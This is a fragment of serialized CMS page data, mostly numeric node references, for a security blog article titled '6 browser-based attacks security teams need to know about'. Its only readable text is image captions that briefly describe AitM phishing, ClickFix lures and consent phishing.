s":111372,"value":102733,"nodeType":865},{},[111373],{"type":926},{"data":111375,"content":111376,"nodeType":866},{},[111377,111380,111386],{"data":111378,"marks":111379,"value":102740,"nodeType":865},{},[],{"data":111381,"content":111382,"nodeType":889},{"uri":56197},[111383],{"data":111384,"marks":111385,"value":66867,"nodeType":865},{},[],{"data":111387,"marks":111388,"value":6719,"nodeType":865},{},[],{"data":111390,"content":111393,"nodeType":912},{"target":111391},{"sys":111392},{"id":102754,"type":909,"linkType":910},[],{"data":111395,"content":111396,"nodeType":866},{},[111397],{"data":111398,"marks":111399,"value":102762,"nodeType":865},{},[],{"data":111401,"content":111402,"nodeType":866},{},[111403],{"data":111404,"marks":111405,"value":102769,"nodeType":865},{},[],{"data":111407,"content":111410,"nodeType":912},{"target":111408},{"sys":111409},{"id":102774,"type":909,"linkType":910},[],{"data":111412,"content":111413,"nodeType":866},{},[111414],{"data":111415,"marks":111416,"value":102782,"nodeType":865},{},[],{"data":111418,"content":111419,"nodeType":866},{},[111420],{"data":111421,"marks":111422,"value":102789,"nodeType":865},{},[],{"data":111424,"content":111425,"nodeType":972},{},[],{"data":111427,"content":111428,"nodeType":1317},{},[111429],{"data":111430,"marks":111431,"value":102800,"nodeType":865},{},[111432],{"type":926},{"data":111434,"content":111435,"nodeType":866},{},[111436],{"data":111437,"marks":111438,"value":102807,"nodeType":865},{},[],{"data":111440,"content":111441,"nodeType":866},{},[111442,111445,111452],{"data":111443,"marks":111444,"value":102814,"nodeType":865},{},[],{"data":111446,"content":111447,"nodeType":889},{"uri":102817},[111448],{"data":111449,"marks":111450,"value":102823,"nodeType":865},{},[111451],{"type":943},{"data":111453,"marks":111454,"value":102827,"nodeType":865},{},[],{"data":111456,"content":111457,"nodeType":866},{},[111458,111461,111468,111471,111478,111481,111488],{"data":111459,"marks":111460,"value":102834,"nodeType":865},{},[],{"data":111462,"content":111463,"nodeType":889},{"uri":56177},[111464],{"data":111465,"marks":111466,"value":102842,"nodeType":865},{},[111467],{"type":943},{"data":111469,"marks":111470,"value":102846,"nodeType":865},{},[],{"data":111472,"content":111473,"nodeType":889},{"uri":102849},[111474],{"data":111475,"marks":111476,"value":102855,"nodeType":865},{},[111477],{"type":943},{"data":111479,"marks":111480,"value":3476,"nodeType":865},{},[],{"data":111482,"content":111483,"nodeType":889},{"uri":102861},[111484],{"data":111485,"marks":111486,"value":102867,"nodeType":865},{},[111487],{"type":943},{"data":111489,"marks":111490,"value":1615,"nodeType":865},{},[],{"data":111492,"content":111493,"nodeType":866},{},[111494],{"data":111495,"marks":111496,"value":102877,"nodeType":865},{},[],{"data":111498,"content":111499,"nodeType":866},{},[111500],{"data":111501,"marks":111502,"value":102884,"nodeType":865},{},[],{"data":111504,"content":111505,"nodeType":866},{},[111506],{"data":111507,"marks":111508,"value":102891,"nodeType":865},{},[],{"data":111510,"content":111511,"nodeType":972},{},[],{"data":111513,"content":111514,"nodeType":1317},{},[111515],{"data":111516,"marks":111517,"value":102902,"nodeType":865},{},[111518],{"type":926},{"data":111520,"content":111521,"nodeType":866},{},[111522],{"data":111523,"marks":111524,"value":102909,"nodeType":865},{},[],{"data":111526,"content":111527,"nodeType":866},{},[111528],{"data":111529,"marks":111530,"value":102916,"nodeType":865},{},[],{"data":111532,"content":111533,"nodeType":866},{},[111534],{"data":111535,"marks":111536,"value":102923,"nodeType":865},{},[],{"data":111538,"content":111539,"nodeType":972},{},[],{"data":111541,"content":111542,"nodeType":1317},{},[111543],{"data":111544,"marks":111545,"value":102934,"nodeType":865},{},[111546],{"type":926},{"data":111548,"content":111549,"nodeType":866},{},[111550],{"data":111551,"marks":111552,"value":102941,"nodeType":865},{},[],{"data":111554,"content":111555,"nodeType":866},{},[111556,111559,111566,111569,111576],{"data":111557,"marks":111558,"value":102948,"nodeType":865},{},[],{"data":111560,"content":111561,"nodeType":889},{"uri":102460},[111562],{"data":111563,"marks":111564,"value":13698,"nodeType":865},{},[111565],{"type":943},{"data":111567,"marks":111568,"value":102959,"nodeType":865},{},[],{"data":111570,"content":111571,"nodeType":889},{"uri":102962},[111572],{"data":111573,"marks":111574,"value":102968,"nodeType":865},{},[111575],{"type":943},{"data":111577,"marks":111578,"value":102972,"nodeType":865},{},[],{"data":111580,"content":111581,"nodeType":866},{},[111582,111585,111592],{"data":111583,"marks":111584,"value":102979,"nodeType":865},{},[],{"data":111586,"content":111587,"nodeType":889},{"uri":102982},[111588],{"data":111589,"marks":111590,"value":102988,"nodeType":865},{},[111591],{"type":943},{"data":111593,"marks":111594,"value":102992,"nodeType":865},{},[],{"data":111596,"content":111597,"nodeType":866},{},[111598],{"data":111599,"marks":111600,"value":102999,"nodeType":865},{},[],{"data":111602,"content":111603,"nodeType":972},{},[],{"data":111605,"content":111606,"nodeType":981},{},[111607],{"data":111608,"marks":111609,"value":57175,"nodeType":865},{},[111610],{"type":926},{"data":111612,"content":111613,"nodeType":866},{},[111614],{"data":111615,"marks":111616,"value":103016,"nodeType":865},{},[],{"data":111618,"content":111619,"nodeType":866},{},[111620],{"data":111621,"marks":111622,"value":103023,"nodeType":865},{},[],{"data":111624,"content":111625,"nodeType":866},{},[111626,111629,111636],{"data":111627,"marks":111628,"value":101333,"nodeType":865},{},[],{"data":111630,"content":111631,"nodeType":889},{"uri":103032},[111632],{"data":111633,"marks":111634,"value":11405,"nodeType":865},{},[111635],{"type":943},{"data":111637,"marks":111638,"value":1615,"nodeType":865},{},[],{"entries":111640},{"hyperlink":111641,"inline":111642,"block":111643},[],[],[111644,111651,111659,111663,111669,111671,111677,111682],{"sys":111645,"__typename":1390,"title":111646,"caption":111646,"layoutMode":59,"file":111647},{"id":102474},"Attacks have shifted from targeting local networks to internet services, accessed through employee web browsers.",{"url":111648,"width":111649,"height":111650},"https://images.ctfassets.net/y1cdw1ablpvd/2TRbV3HLZRt0pjgxPAPUOY/5dbeec4b4ac16a3b450e1eff2add6266/1.png",1174,482,{"sys":111652,"__typename":1390,"title":111653,"caption":111654,"layoutMode":59,"file":111655},{"id":102526},"Browser-based attacks like AITM phishing, ClickFix, and consent phishing have seen an unprecedented rise in recent years.","Browser-based attacks like AITM phishing, ClickFix, and consent phishing are the fastest-growing threats of 2025. ",{"url":111656,"width":111657,"height":111658},"https://images.ctfassets.net/y1cdw1ablpvd/1eCBgB8nNDu5955f1BwFO6/b80d5cb43c7acd75e1a670d4ae22b2ec/Browser-based_attacks_graphic__1_.png",2012,1272,{"sys":111660,"__typename":1390,"title":111661,"caption":111661,"layoutMode":59,"file":111662},{"id":102561},"Phishing is now multi- and cross-channel, targeting a vast range of cloud and SaaS apps using flexible AitM toolkits — but all roads inevitably lead to the browser.",{"url":106840,"width":1402,"height":106841},{"sys":111664,"__typename":1390,"title":111665,"caption":111665,"layoutMode":59,"file":111666},{"id":102585},"AitM kits proxy information to the real site in order to complete the login process, passing MFA checks to steal the user’s session. ",{"url":111667,"width":52335,"height":111668},"https://images.ctfassets.net/y1cdw1ablpvd/Yo8TuzfyNcBWOIl34X1dS/2381e4e671039ddf61d03ef44fa45138/3.png",458,{"sys":111670,"__typename":1414,"type":1415,"ctaText":106851,"buttonLabel":106852,"buttonColour":1418,"buttonUrl":104632},{"id":102612},{"sys":111672,"__typename":1390,"title":111673,"caption":111673,"layoutMode":59,"file":111674},{"id":102700},"Examples of ClickFix lures used by attackers in the wild.",{"url":111675,"width":1402,"height":111676},"https://images.ctfassets.net/y1cdw1ablpvd/3VSQ6bEHXlk0yJRal4R4oD/d3d6d281acfe22361a7d36719c4b0fa9/4.png",1955,{"sys":111678,"__typename":1390,"title":111679,"caption":111679,"layoutMode":59,"file":111680},{"id":102754},"Consent phishing examples, where an attacker tricks the victim into authorizing an attacker-controlled app with risky permissions.",{"url":111681,"width":1402,"height":65685},"https://images.ctfassets.net/y1cdw1ablpvd/1Yx10JvyaLHI2DzhAjDgE0/886e807035dc8d005b9a6c84919a5a3f/5.png",{"sys":111683,"__typename":1390,"title":111684,"caption":111684,"layoutMode":59,"file":111685},{"id":102774},"The ongoing Salesforce attacks involve malicious OAuth apps being granted access to the victim’s Salesforce tenant. ",{"url":111686,"width":90628,"height":90629},"https://images.ctfassets.net/y1cdw1ablpvd/5JA9n2l57OlYE3jIcsYKv2/d7f1dcf15542f2df4045df1c3c61ba2e/6.png",{"items":111688},[],{},"6 browser-based attacks security teams need to know about",{"url":111692},"https://images.ctfassets.net/y1cdw1ablpvd/42Id6vr4wOWFp4RH6MqFoJ/54bfaf4a392fcbeda9bf795b09a9bef3/Bleeping_Thumbnail__Article_Header_.png",{"items":111694},[111695,112555,113077],{"__typename":1429,"sys":111696,"content":111697,"title":87609,"synopsis":111017,"hashTags":59,"publishedDate":111018,"slug":87610,"tagsCollection":112545,"authorsCollection":112551},{"id":79944},{"json":111698},{"data":111699,"content":111700,"nodeType":1382},{},[111701,111707,111717,111727,111737,111747,111752,111768,111774,111787,111793,111798,111801,111808,111814,111820,111826,111831,111834,111841,111847,111863,111869,111875,111881,111887,111892,111898,111904,111910,111935,111941,111957,111963,111969,111985,112001,112017,112022,112028,112041,112047,112053,112059,112075,112082,112088,112094,112097,112104,112110,112116,112122,112161,112166,112172,112185,112262,112267,112273,112279,112336,112342,112348,112354,112359,112365,112371,112377,112382,112388,112394,112400,112405,112421,112427,112433,112472,112477,112480,112487,112507,112510,112517,112523,112529],{"data":111702,"content":111703,"nodeType":866},{},[111704],{"data":111705,"marks":111706,"value":110045,"nodeType":865},{},[],{"data":111708,"content":111709,"nodeType":866},{},[111710,111714],{"data":111711,"marks":111712,"value":110053,"nodeType":865},{},[111713],{"type":926},{"data":111715,"marks":111716,"value":110057,"nodeType":865},{},[],{"data":111718,"content":111719,"nodeType":866},{},[111720,111724],{"data":111721,"marks":111722,"value":110065,"nodeType":865},{},[111723],{"type":926},{"data":111725,"marks":111726,"value":110069,"nodeType":865},{},[],{"data":111728,"content":111729,"nodeType":866},{},[111730,111734],{"data":111731,"marks":111732,"value":110077,"nodeType":865},{},[111733],{"type":926},{"data":111735,"marks":111736,"value":110081,"nodeType":865},{},[],{"data":111738,"content":111739,"nodeType":866},{},[111740,111744],{"data":111741,"marks":111742,"value":110089,"nodeType":865},{},[111743],{"type":926},{"data":111745,"marks":111746,"value":110093,"nodeType":865},{},[],{"data":111748,"content":111751,"nodeType":912},{"target":111749},{"sys":111750},{"id":110098,"type":909,"linkType":910},[],{"data":111753,"content":111754,"nodeType":866},{},[111755,111758,111765],{"data":111756,"marks":111757,"value":110106,"nodeType":865},{},[],{"data":111759,"content":111760,"nodeType":889},{"uri":54299},[111761],{"data":111762,"marks":111763,"value":110114,"nodeType":865},{},[111764],{"type":943},{"data":111766,"marks":111767,"value":110118,"nodeType":865},{},[],{"data":111769,"content":111770,"nodeType":866},{},[111771],{"data":111772,"marks":111773,"value":110125,"nodeType":865},{},[],{"data":111775,"content":111776,"nodeType":866},{},[111777,111780,111784],{"data":111778,"marks":111779,"value":110132,"nodeType":865},{},[],{"data":111781,"marks":111782,"value":110137,"nodeType":865},{},[111783],{"type":926},{"data":111785,"marks":111786,"value":110141,"nodeType":865},{},[],{"data":111788,"content":111789,"nodeType":866},{},[111790],{"data":111791,"marks":111792,"value":110148,"nodeType":865},{},[],{"data":111794,"content":111797,"nodeType":912},{"target":111795},{"sys":111796},{"id":110153,"type":909,"linkType":910},[],{"data":111799,"content":111800,"nodeType":972},{},[],{"data":111802,"content":111803,"nodeType":981},{},[111804],{"data":111805,"marks":111806,"value":110165,"nodeType":865},{},[111807],{"type":926},{"data":111809,"content":111810,"nodeType":866},{},[111811],{"data":111812,"marks":111813,"value":110172,"nodeType":865},{},[],{"data":111815,"content":111816,"nodeType":866},{},[111817],{"data":111818,"marks":111819,"value":110179,"nodeType":865},{},[],{"data":111821,"content":111822,"nodeType":866},{},[111823],{"data":111824,"marks":111825,"value":110186,"nodeType":865},{},[],{"data":111827,"content":111830,"nodeType":912},{"target":111828},{"sys":111829},{"id":110191,"type":909,"linkType":910},[],{"data":111832,"content":111833,"nodeType":972},{},[],{"data":111835,"content":111836,"nodeType":981},{},[111837],{"data":111838,"marks":111839,"value":110203,"nodeType":865},{},[111840],{"type":926},{"data":111842,"content":111843,"nodeType":866},{},[111844],{"data":111845,"marks":111846,"value":110210,"nodeType":865},{},[],{"data":111848,"content":111849,"nodeType":866},{},[111850,111853,111860],{"data":111851,"marks":111852,"value":110217,"nodeType":865},{},[],{"data":111854,"content":111855,"nodeType":889},{"uri":110220},[111856],{"data":111857,"marks":111858,"value":110226,"nodeType":865},{},[111859],{"type":943},{"data":111861,"marks":111862,"value":110230,"nodeType":865},{},[],{"data":111864,"content":111865,"nodeType":866},{},[111866],{"data":111867,"marks":111868,"value":110237,"nodeType":865},{},[],{"data":111870,"content":111871,"nodeType":866},{},[111872],{"data":111873,"marks":111874,"value":110244,"nodeType":865},{},[],{"data":111876,"content":111877,"nodeType":1317},{},[111878],{"data":111879,"marks":111880,"value":110251,"nodeType":865},{},[],{"data":111882,"content":111883,"nodeType":866},{},[111884],{"data":111885,"marks":111886,"value":110258,"nodeType":865},{},[],{"data":111888,"content":111891,"nodeType":912},{"target":111889},{"sys":111890},{"id":110263,"type":909,"linkType":910},[],{"data":111893,"content":111894,"nodeType":866},{},[111895],{"data":111896,"marks":111897,"value":110271,"nodeType":865},{},[],{"data":111899,"content":111900,"nodeType":1317},{},[111901],{"data":111902,"marks":111903,"value":110278,"nodeType":865},{},[],{"data":111905,"content":111906,"nodeType":866},{},[111907],{"data":111908,"marks":111909,"value":110285,"nodeType":865},{},[],{"data":111911,"content":111912,"nodeType":866},{},[111913,111916,111924,111928,111931],{"data":111914,"marks":111915,"value":110292,"nodeType":865},{},[],{"data":111917,"content":111918,"nodeType":889},{"uri":7112},[111919],{"data":111920,"marks":111921,"value":110301,"nodeType":865},{},[111922,111923],{"type":943},{"type":926},{"data":111925,"marks":111926,"value":2688,"nodeType":865},{},[111927],{"type":926},{"data":111929,"marks":111930,"value":110309,"nodeType":865},{},[],{"data":111932,"marks":111933,"value":110314,"nodeType":865},{},[111934],{"type":926},{"data":111936,"content":111937,"nodeType":866},{},[111938],{"data":111939,"marks":111940,"value":110321,"nodeType":865},{},[],{"data":111942,"content":111943,"nodeType":866},{},[111944,111947,111954],{"data":111945,"marks":111946,"value":110328,"nodeType":865},{},[],{"data":111948,"content":111949,"nodeType":889},{"uri":54299},[111950],{"data":111951,"marks":111952,"value":4996,"nodeType":865},{},[111953],{"type":943},{"data":111955,"marks":111956,"value":110339,"nodeType":865},{},[],{"data":111958,"content":111959,"nodeType":1317},{},[111960],{"data":111961,"marks":111962,"value":110346,"nodeType":865},{},[],{"data":111964,"content":111965,"nodeType":866},{},[111966],{"data":111967,"marks":111968,"value":110353,"nodeType":865},{},[],{"data":111970,"content":111971,"nodeType":866},{},[111972,111975,111982],{"data":111973,"marks":111974,"value":110360,"nodeType":865},{},[],{"data":111976,"content":111977,"nodeType":889},{"uri":110363},[111978],{"data":111979,"marks":111980,"value":110369,"nodeType":865},{},[111981],{"type":943},{"data":111983,"marks":111984,"value":110373,"nodeType":865},{},[],{"data":111986,"content":111987,"nodeType":866},{},[111988,111991,111998],{"data":111989,"marks":111990,"value":110380,"nodeType":865},{},[],{"data":111992,"content":111993,"nodeType":889},{"uri":110383},[111994],{"data":111995,"marks":111996,"value":110389,"nodeType":865},{},[111997],{"type":943},{"data":111999,"marks":112000,"value":110393,"nodeType":865},{},[],{"data":112002,"content":112003,"nodeType":866},{},[112004,112007,112014],{"data":112005,"marks":112006,"value":110400,"nodeType":865},{},[],{"data":112008,"content":112009,"nodeType":889},{"uri":110403},[112010],{"data":112011,"marks":112012,"value":110409,"nodeType":865},{},[112013],{"type":943},{"data":112015,"marks":112016,"value":110413,"nodeType":865},{},[],{"data":112018,"content":112021,"nodeType":912},{"target":112019},{"sys":112020},{"id":110418,"type":909,"linkType":910},[],{"data":112023,"content":112024,"nodeType":1317},{},[112025],{"data":112026,"marks":112027,"value":110426,"nodeType":865},{},[],{"data":112029,"content":112030,"nodeType":866},{},[112031,112034,112038],{"data":112032,"marks":112033,"value":110433,"nodeType":865},{},[],{"data":112035,"marks":112036,"value":110438,"nodeType":865},{},[112037],{"type":898},{"data":112039,"marks":112040,"value":110442,"nodeType":865},{},[],{"data":112042,"content":112043,"nodeType":866},{},[112044],{"data":112045,"marks":112046,"value":110449,"nodeType":865},{},[],{"data":112048,"content":112049,"nodeType":866},{},[112050],{"data":112051,"marks":112052,"value":110456,"nodeType":865},{},[],{"data":112054,"content":112055,"nodeType":866},{},[112056],{"data":112057,"marks":112058,"value":110463,"nodeType":865},{},[],{"data":112060,"content":112061,"nodeType":866},{},[112062,112065,112072],{"data":112063,"marks":112064,"value":110470,"nodeType":865},{},[],{"data":112066,"content":112067,"nodeType":889},{"uri":53259},[112068],{"data":112069,"marks":112070,"value":110478,"nodeType":865},{},[112071],{"type":943},{"data":112073,"marks":112074,"value":110482,"nodeType":865},{},[],{"data":112076,"content":112077,"nodeType":866},{},[112078],{"data":112079,"marks":112080,"value":110490,"nodeType":865},{},[112081],{"type":926},{"data":112083,"content":112084,"nodeType":866},{},[112085],{"data":112086,"marks":112087,"value":110497,"nodeType":865},{},[],{"data":112089,"content":112090,"nodeType":866},{},[112091],{"data":112092,"marks":112093,"value":110504,"nodeType":865},{},[],{"data":112095,"content":112096,"nodeType":972},{},[],{"data":112098,"content":112099,"nodeType":981},{},[112100],{"data":112101,"marks":112102,"value":110515,"nodeType":865},{},[112103],{"type":926},{"data":112105,"content":112106,"nodeType":866},{},[112107],{"data":112108,"marks":112109,"value":110522,"nodeType":865},{},[],{"data":112111,"content":112112,"nodeType":866},{},[112113],{"data":112114,"marks":112115,"value":110529,"nodeType":865},{},[],{"data":112117,"content":112118,"nodeType":866},{},[112119],{"data":112120,"marks":112121,"value":110536,"nodeType":865},{},[],{"data":112123,"content":112124,"nodeType":1616},{},[112125,112134,112143,112152],{"data":112126,"content":112127,"nodeType":1570},{},[112128],{"data":112129,"content":112130,"nodeType":866},{},[112131],{"data":112132,"marks":112133,"value":110549,"nodeType":865},{},[],{"data":112135,"content":112136,"nodeType":1570},{},[112137],{"data":112138,"content":112139,"nodeType":866},{},[112140],{"data":112141,"marks":112142,"value":110559,"nodeType":865},{},[],{"data":112144,"content":112145,"nodeType":1570},{},[112146],{"data":112147,"content":112148,"nodeType":866},{},[112149],{"data":112150,"marks":112151,"value":110569,"nodeType":865},{},[],{"data":112153,"content":112154,"nodeType":1570},{},[112155],{"data":112156,"content":112157,"nodeType":866},{},[112158],{"data":112159,"marks":112160,"value":110579,"nodeType":865},{},[],{"data":112162,"content":112165,"nodeType":912},{"target":112163},{"sys":112164},{"id":110584,"type":909,"linkType":910},[],{"data":112167,"content":112168,"nodeType":866},{},[112169],{"data":112170,"marks":112171,"value":110592,"nodeType":865},{},[],{"data":112173,"content":112174,"nodeType":866},{},[112175,112178,112182],{"data":112176,"marks":112177,"value":110599,"nodeType":865},{},[],{"data":112179,"marks":112180,"value":110137,"nodeType":865},{},[112181],{"type":926},{"data":112183,"marks":112184,"value":110607,"nodeType":865},{},[],{"data":112186,"content":112187,"nodeType":1616},{},[112188,112217,112226,112235,112244,112253],{"data":112189,"content":112190,"nodeType":1570},{},[112191],{"data":112192,"content":112193,"nodeType":866},{},[112194,112197,112204,112207,112214],{"data":112195,"marks":112196,"value":110620,"nodeType":865},{},[],{"data":112198,"content":112199,"nodeType":889},{"uri":110623},[112200],{"data":112201,"marks":112202,"value":110629,"nodeType":865},{},[112203],{"type":943},{"data":112205,"marks":112206,"value":110633,"nodeType":865},{},[],{"data":112208,"content":112209,"nodeType":889},{"uri":110636},[112210],{"data":112211,"marks":112212,"value":110642,"nodeType":865},{},[112213],{"type":943},{"data":112215,"marks":112216,"value":110646,"nodeType":865},{},[],{"data":112218,"content":112219,"nodeType":1570},{},[112220],{"data":112221,"content":112222,"nodeType":866},{},[112223],{"data":112224,"marks":112225,"value":110656,"nodeType":865},{},[],{"data":112227,"content":112228,"nodeType":1570},{},[112229],{"data":112230,"content":112231,"nodeType":866},{},[112232],{"data":112233,"marks":112234,"value":110666,"nodeType":865},{},[],{"data":112236,"content":112237,"nodeType":1570},{},[112238],{"data":112239,"content":112240,"nodeType":866},{},[112241],{"data":112242,"marks":112243,"value":110676,"nodeType":865},{},[],{"data":112245,"content":112246,"nodeType":1570},{},[112247],{"data":112248,"content":112249,"nodeType":866},{},[112250],{"data":112251,"marks":112252,"value":110686,"nodeType":865},{},[],{"data":112254,"content":112255,"nodeType":1570},{},[112256],{"data":112257,"content":112258,"nodeType":866},{},[112259],{"data":112260,"marks":112261,"value":110696,"nodeType":865},{},[],{"data":112263,"content":112266,"nodeType":912},{"target":112264},{"sys":112265},{"id":110701,"type":909,"linkType":910},[],{"data":112268,"content":112269,"nodeType":1317},{},[112270],{"data":112271,"marks":112272,"value":110709,"nodeType":865},{},[],{"data":112274,"content":112275,"nodeType":866},{},[112276],{"data":112277,"marks":112278,"value":110716,"nodeType":865},{},[],{"data":112280,"content":112281,"nodeType":1616},{},[112282,112291,112300,112309,112318,112327],{"data":112283,"content":112284,"nodeType":1570},{},[112285],{"data":112286,"content":112287,"nodeType":866},{},[112288],{"data":112289,"marks":112290,"value":110729,"nodeType":865},{},[],{"data":112292,"content":112293,"nodeType":1570},{},[112294],{"data":112295,"content":112296,"nodeType":866},{},[112297],{"data":112298,"marks":112299,"value":110739,"nodeType":865},{},[],{"data":112301,"content":112302,"nodeType":1570},{},[112303],{"data":112304,"content":112305,"nodeType":866},{},[112306],{"data":112307,"marks":112308,"value":110749,"nodeType":865},{},[],{"data":112310,"content":112311,"nodeType":1570},{},[112312],{"data":112313,"content":112314,"nodeType":866},{},[112315],{"data":112316,"marks":112317,"value":110759,"nodeType":865},{},[],{"data":112319,"content":112320,"nodeType":1570},{},[112321],{"data":112322,"content":112323,"nodeType":866},{},[112324],{"data":112325,"marks":112326,"value":110769,"nodeType":865},{},[],{"data":112328,"content":112329,"nodeType":1570},{},[112330],{"data":112331,"content":112332,"nodeType":866},{},[112333],{"data":112334,"marks":112335,"value":110779,"nodeType":865},{},[],{"data":112337,"content":112338,"nodeType":866},{},[112339],{"data":112340,"marks":112341,"value":110786,"nodeType":865},{},[],{"data":112343,"content":112344,"nodeType":866},{},[112345],{"data":112346,"marks":112347,"value":110793,"nodeType":865},{},[],{"data":112349,"content":112350,"nodeType":866},{},[112351],{"data":112352,"marks":112353,"value":110800,"nodeType":865},{},[],{"data":112355,"content":112358,"nodeType":912},{"target":112356},{"sys":112357},{"id":110805,"type":909,"linkType":910},[],{"data":112360,"content":112361,"nodeType":866},{},[112362],{"data":112363,"marks":112364,"value":110813,"nodeType":865},{},[],{"data":112366,"content":112367,"nodeType":1317},{},[112368],{"data":112369,"marks":112370,"value":110820,"nodeType":865},{},[],{"data":112372,"content":112373,"nodeType":866},{},[112374],{"data":112375,"marks":112376,"value":110827,"nodeType":865},{},[],{"data":112378,"content":112381,"nodeType":912},{"target":112379},{"sys":112380},{"id":110832,"type":909,"linkType":910},[],{"data":112383,"content":112384,"nodeType":1317},{},[112385],{"data":112386,"marks":112387,"value":110840,"nodeType":865},{},[],{"data":112389,"content":112390,"nodeType":866},{},[112391],{"data":112392,"marks":112393,"value":110847,"nodeType":865},{},[],{"data":112395,"content":112396,"nodeType":866},{},[112397],{"data":112398,"marks":112399,"value":110854,"nodeType":865},{},[],{"data":112401,"content":112404,"nodeType":912},{"target":112402},{"sys":112403},{"id":110859,"type":909,"linkType":910},[],{"data":112406,"content":112407,"nodeType":866},{},[112408,112411,112418],{"data":112409,"marks":112410,"value":110867,"nodeType":865},{},[],{"data":112412,"content":112413,"nodeType":889},{"uri":110870},[112414],{"data":112415,"marks":112416,"value":110876,"nodeType":865},{},[112417],{"type":943},{"data":112419,"marks":112420,"value":110880,"nodeType":865},{},[],{"data":112422,"content":112423,"nodeType":1317},{},[112424],{"data":112425,"marks":112426,"value":110887,"nodeType":865},{},[],{"data":112428,"content":112429,"nodeType":866},{},[112430],{"data":112431,"marks":112432,"value":110894,"nodeType":865},{},[],{"data":112434,"content":112435,"nodeType":1616},{},[112436,112445,112454,112463],{"data":112437,"content":112438,"nodeType":1570},{},[112439],{"data":112440,"content":112441,"nodeType":866},{},[112442],{"data":112443,"marks":112444,"value":110907,"nodeType":865},{},[],{"data":112446,"content":112447,"nodeType":1570},{},[112448],{"data":112449,"content":112450,"nodeType":866},{},[112451],{"data":112452,"marks":112453,"value":110917,"nodeType":865},{},[],{"data":112455,"content":112456,"nodeType":1570},{},[112457],{"data":112458,"content":112459,"nodeType":866},{},[112460],{"data":112461,"marks":112462,"value":110927,"nodeType":865},{},[],{"data":112464,"content":112465,"nodeType":1570},{},[112466],{"data":112467,"content":112468,"nodeType":866},{},[112469],{"data":112470,"marks":112471,"value":110937,"nodeType":865},{},[],{"data":112473,"content":112476,"nodeType":912},{"target":112474},{"sys":112475},{"id":110942,"type":909,"linkType":910},[],{"data":112478,"content":112479,"nodeType":972},{},[],{"data":112481,"content":112482,"nodeType":981},{},[112483],{"data":112484,"marks":112485,"value":110954,"nodeType":865},{},[112486],{"type":926},{"data":112488,"content":112489,"nodeType":866},{},[112490,112493,112500,112503],{"data":112491,"marks":112492,"value":110961,"nodeType":865},{},[],{"data":112494,"content":112495,"nodeType":889},{"uri":110964},[112496],{"data":112497,"marks":112498,"value":110970,"nodeType":865},{},[112499],{"type":943},{"data":112501,"marks":112502,"value":2717,"nodeType":865},{},[],{"data":112504,"marks":112505,"value":110978,"nodeType":865},{},[112506],{"type":926},{"data":112508,"content":112509,"nodeType":972},{},[],{"data":112511,"content":112512,"nodeType":981},{},[112513],{"data":112514,"marks":112515,"value":2270,"nodeType":865},{},[112516],{"type":926},{"data":112518,"content":112519,"nodeType":866},{},[112520],{"data":112521,"marks":112522,"value":106196,"nodeType":865},{},[],{"data":112524,"content":112525,"nodeType":866},{},[112526],{"data":112527,"marks":112528,"value":106203,"nodeType":865},{},[],{"data":112530,"content":112531,"nodeType":866},{},[112532,112535,112542],{"data":112533,"marks":112534,"value":104093,"nodeType":865},{},[],{"data":112536,"content":112537,"nodeType":889},{"uri":16069},[112538],{"data":112539,"marks":112540,"value":106217,"nodeType":865},{},[112541],{"type":943},{"data":112543,"marks":112544,"value":21,"nodeType":865},{},[],{"items":112546},[112547,112549],{"sys":112548,"name":342},{"id":4642},{"sys":112550,"name":7796},{"id":7795},{"items":112552},[112553],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":112554},{"url":6503},{"__typename":1429,"sys":112556,"content":112557,"title":106221,"synopsis":106222,"hashTags":59,"publishedDate":106223,"slug":106224,"tagsCollection":113067,"authorsCollection":113073},{"id":105628},{"json":112558},{"data":112559,"content":112560,"nodeType":1382},{},[112561,112567,112573,112589,112595,112611,112617,112620,112627,112633,112639,112644,112650,112690,112726,112733,112739,112755,112785,112790,112796,112801,112807,112814,112840,112845,112848,112855,112871,112887,112913,112918,112921,112928,112934,113014,113017,113024,113039,113045,113051],{"data":112562,"content":112563,"nodeType":866},{},[112564],{"data":112565,"marks":112566,"value":105639,"nodeType":865},{},[],{"data":112568,"content":112569,"nodeType":866},{},[112570],{"data":112571,"marks":112572,"value":105646,"nodeType":865},{},[],{"data":112574,"content":112575,"nodeType":866},{},[112576,112579,112586],{"data":112577,"marks":112578,"value":105653,"nodeType":865},{},[],{"data":112580,"content":112581,"nodeType":889},{"uri":105656},[112582],{"data":112583,"marks":112584,"value":105662,"nodeType":865},{},[112585],{"type":943},{"data":112587,"marks":112588,"value":105666,"nodeType":865},{},[],{"data":112590,"content":112591,"nodeType":866},{},[112592],{"data":112593,"marks":112594,"value":105673,"nodeType":865},{},[],{"data":112596,"content":112597,"nodeType":866},{},[112598,112601,112608],{"data":112599,"marks":112600,"value":105680,"nodeType":865},{},[],{"data":112602,"content":112603,"nodeType":889},{"uri":101283},[112604],{"data":112605,"marks":112606,"value":105688,"nodeType":865},{},[112607],{"type":943},{"data":112609,"marks":112610,"value":105692,"nodeType":865},{},[],{"data":112612,"content":112613,"nodeType":866},{},[112614],{"data":112615,"marks":112616,"value":105699,"nodeType":865},{},[],{"data":112618,"content":112619,"nodeType":972},{},[],{"data":112621,"content":112622,"nodeType":981},{},[112623],{"data":112624,"marks":112625,"value":105710,"nodeType":865},{},[112626],{"type":926},{"data":112628,"content":112629,"nodeType":866},{},[112630],{"data":112631,"marks":112632,"value":105717,"nodeType":865},{},[],{"data":112634,"content":112635,"nodeType":866},{},[112636],{"data":112637,"marks":112638,"value":105724,"nodeType":865},{},[],{"data":112640,"content":112643,"nodeType":912},{"target":112641},{"sys":112642},{"id":105729,"type":909,"linkType":910},[],{"data":112645,"content":112646,"nodeType":866},{},[112647],{"data":112648,"marks":112649,"value":105737,"nodeType":865},{},[],{"data":112651,"content":112652,"nodeType":1616},{},[112653,112662,112681],{"data":112654,"content":112655,"nodeType":1570},{},[112656],{"data":112657,"content":112658,"nodeType":866},{},[112659],{"data":112660,"marks":112661,"value":105750,"nodeType":865},{},[],{"data":112663,"content":112664,"nodeType":1570},{},[112665],{"data":112666,"content":112667,"nodeType":866},{},[112668,112671,112678],{"data":112669,"marks":112670,"value":105760,"nodeType":865},{},[],{"data":112672,"content":112673,"nodeType":889},{"uri":105763},[112674],{"data":112675,"marks":112676,"value":441,"nodeType":865},{},[112677],{"type":943},{"data":112679,"marks":112680,"value":105772,"nodeType":865},{},[],{"data":112682,"content":112683,"nodeType":1570},{},[112684],{"data":112685,"content":112686,"nodeType":866},{},[112687],{"data":112688,"marks":112689,"value":105782,"nodeType":865},{},[],{"data":112691,"content":112692,"nodeType":866},{},[112693,112696,11270